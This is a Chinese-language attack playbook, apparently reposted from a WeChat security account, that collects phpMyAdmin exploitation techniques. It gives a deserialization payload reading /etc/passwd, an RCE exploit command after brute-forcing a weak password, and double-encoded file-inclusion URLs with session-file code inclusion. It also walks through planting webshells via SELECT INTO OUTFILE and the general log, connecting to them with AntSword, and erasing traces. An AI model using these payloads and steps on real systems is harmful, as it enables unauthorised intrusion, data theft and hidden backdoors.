「phpmyadmin反序列化漏洞」
「漏洞描述」
phpmyadmin 2.x版本中存在一处反序列化漏洞,通过该漏洞,攻击者可以读取任意文件或执行任意代码。
「影响范围」
2.x
「实战过程」
访问
http://x.x.x
抓包,修改发送如下数据包,即可读取/etc/passwd:
POST /scripts/setup.php HTTP/1.1
action=test&configuration=O:10:"PMA_Config":1:{s:6:"source",s:11:"/etc/passwd";}
漏洞证明:
「phpmyadmin远程代码执行漏洞」
「漏洞描述」
phpMyAdmin是一套开源的、基于Web的MySQL数据库管理工具。在其查找并替换字符串功能中,将用户输入的信息拼接进preg_replace函数第一个参数中。
在PHP5.4.7以前,preg_replace的第一个参数可以利用�进行截断,并将正则模式修改为e。众所周知,e模式的正则支持执行代码,此时将可构造一个任意代码执行漏洞。
「影响范围」
4.0.10.16之前4.0.x版本
4.4.15.7之前4.4.x版本
4.6.3之前4.6.x版本(实际上由于该版本要求PHP5.5+,所以无法复现本漏洞)
「实战过程」
访问该页面,存在弱口令
http://x.x.x
爆破进入后发现该php版本以及phpmyadmin版本信息,该版本存在远程命令执行漏洞。
使用exp利用此漏洞:
-u是用户 -p是密码,-d是可以写入的数据库,没有就新建一个。-c是待执行的PHP语句,如果没有指定表名,这个POC会创建一个名为prgpwn的表。
python3 xxx.py http://x.x.x/ -u xxx -p xxx -d test -c "system('id');"
成功执行命令,并且在test数据库下创建了一个名为prgpwn的表
「phpmyadmin远程文件包含漏洞」
「漏洞简介」
phpMyAdmin是一套开源的、基于Web的MySQL数据库管理工具。其index.php中存在一处文件包含逻辑,通过二次编码即可绕过检查,造成远程文件包含漏洞。
「漏洞实战」
访问url,即可进入phpmyadmin。配置的是“config”模式,所以无需输入密码,直接登录test账户。
http://x.x.x
构造任意文件读取的payload并进行访问:
http://x.x.x/index.php?target=db_sql.php%253f/../../../../../../../../etc/passwd
可见/etc/passwd被读取,说明文件包含漏洞存在:
利用方式也比较简单,访问SQL语句的执行页面,可以执行一下
SELECT '<?=phpinfo()?>
然后查看自己的sessionid(cookie中phpMyAdmin的值),然后包含session文件即可。
访问SQL语句的执行页面:
执行一下
SELECT '<?=phpinfo()?>
然后查看自己的sessionid(cookie中phpMyAdmin的值)
然后包含session文件:
http://x.x.x/?target=tbl_zoom_select.php?/../../../../../../tmp/sess_xxxxx...
成功包含phpinfo页面:
「select into outfile写入webshell」
首先查看查看secure_file_priv值
show global variables like '%secure%';
secure_file_priv的值如图所示
写入一句话
select 'xxx' INTO OUTFILE 'xxx.php'
这里需要注意的一个点是路径需要用”“
成功连接webshell
「phpmyadmin日志写入webshell」
先查看general log是否开启
show variables like '%general%';
打开general_log日志读写功能
制作一个木马文件,要根据图中general_log_file中的绝对路径
SET GLOBAL general_log_file='xxx.php'
往这个木马文件中写入一句话
SELECT 'xxx'
使用phpinfo验证
利用过程
蚁剑连接
最后抹除痕迹
原文始发于微信公众号(平凡安全):【攻防实战】phpmyadmin-RCE集锦
- 左青龙
- 微信扫一扫
-
- 右白虎
- 微信扫一扫
-
评论